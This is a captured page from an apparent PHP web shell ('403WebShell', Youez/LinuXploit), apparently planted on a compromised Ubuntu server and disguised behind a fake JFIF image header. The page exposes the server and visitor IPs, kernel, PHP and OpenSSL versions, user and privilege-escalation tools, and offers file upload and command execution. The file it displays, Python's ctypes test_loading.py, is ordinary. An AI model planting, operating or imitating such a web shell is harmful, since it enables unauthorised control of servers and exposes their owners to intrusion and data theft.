????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.143.17.164
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/python3.6/ctypes/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/local/lib/python3.6/ctypes/test//test_loading.py
from ctypes import *
import os
import sys
import unittest
import test.support
from ctypes.util import find_library

libc_name = None

def setUpModule():
    global libc_name
    if os.name == "nt":
        libc_name = find_library("c")
    elif sys.platform == "cygwin":
        libc_name = "cygwin1.dll"
    else:
        libc_name = find_library("c")

    if test.support.verbose:
        print("libc_name is", libc_name)

class LoaderTest(unittest.TestCase):

    unknowndll = "xxrandomnamexx"

    def test_load(self):
        if libc_name is None:
            self.skipTest('could not find libc')
        CDLL(libc_name)
        CDLL(os.path.basename(libc_name))
        self.assertRaises(OSError, CDLL, self.unknowndll)

    def test_load_version(self):
        if libc_name is None:
            self.skipTest('could not find libc')
        if os.path.basename(libc_name) != 'libc.so.6':
            self.skipTest('wrong libc path for test')
        cdll.LoadLibrary("libc.so.6")
        # linux uses version, libc 9 should not exist
        self.assertRaises(OSError, cdll.LoadLibrary, "libc.so.9")
        self.assertRaises(OSError, cdll.LoadLibrary, self.unknowndll)

    def test_find(self):
        for name in ("c", "m"):
            lib = find_library(name)
            if lib:
                cdll.LoadLibrary(lib)
                CDLL(lib)

    @unittest.skipUnless(os.name == "nt",
                         'test specific to Windows')
    def test_load_library(self):
        # CRT is no longer directly loadable. See issue23606 for the
        # discussion about alternative approaches.
        #self.assertIsNotNone(libc_name)
        if test.support.verbose:
            print(find_library("kernel32"))
            print(find_library("user32"))

        if os.name == "nt":
            windll.kernel32.GetModuleHandleW
            windll["kernel32"].GetModuleHandleW
            windll.LoadLibrary("kernel32").GetModuleHandleW
            WinDLL("kernel32").GetModuleHandleW
            # embedded null character
            self.assertRaises(ValueError, windll.LoadLibrary, "kernel32\0")

    @unittest.skipUnless(os.name == "nt",
                         'test specific to Windows')
    def test_load_ordinal_functions(self):
        import _ctypes_test
        dll = WinDLL(_ctypes_test.__file__)
        # We load the same function both via ordinal and name
        func_ord = dll[2]
        func_name = dll.GetString
        # addressof gets the address where the function pointer is stored
        a_ord = addressof(func_ord)
        a_name = addressof(func_name)
        f_ord_addr = c_void_p.from_address(a_ord).value
        f_name_addr = c_void_p.from_address(a_name).value
        self.assertEqual(hex(f_ord_addr), hex(f_name_addr))

        self.assertRaises(AttributeError, dll.__getitem__, 1234)

    @unittest.skipUnless(os.name == "nt", 'Windows-specific test')
    def test_1703286_A(self):
        from _ctypes import LoadLibrary, FreeLibrary
        # On winXP 64-bit, advapi32 loads at an address that does
        # NOT fit into a 32-bit integer.  FreeLibrary must be able
        # to accept this address.

        # These are tests for http://www.python.org/sf/1703286
        handle = LoadLibrary("advapi32")
        FreeLibrary(handle)

    @unittest.skipUnless(os.name == "nt", 'Windows-specific test')
    def test_1703286_B(self):
        # Since on winXP 64-bit advapi32 loads like described
        # above, the (arbitrarily selected) CloseEventLog function
        # also has a high address.  'call_function' should accept
        # addresses so large.
        from _ctypes import call_function
        advapi32 = windll.advapi32
        # Calling CloseEventLog with a NULL argument should fail,
        # but the call should not segfault or so.
        self.assertEqual(0, advapi32.CloseEventLog(None))
        windll.kernel32.GetProcAddress.argtypes = c_void_p, c_char_p
        windll.kernel32.GetProcAddress.restype = c_void_p
        proc = windll.kernel32.GetProcAddress(advapi32._handle,
                                              b"CloseEventLog")
        self.assertTrue(proc)
        # This is the real test: call the function via 'call_function'
        self.assertEqual(0, call_function(proc, (None,)))

if __name__ == "__main__":
    unittest.main()

Youez - 2016 - github.com/yon3zu
LinuXploit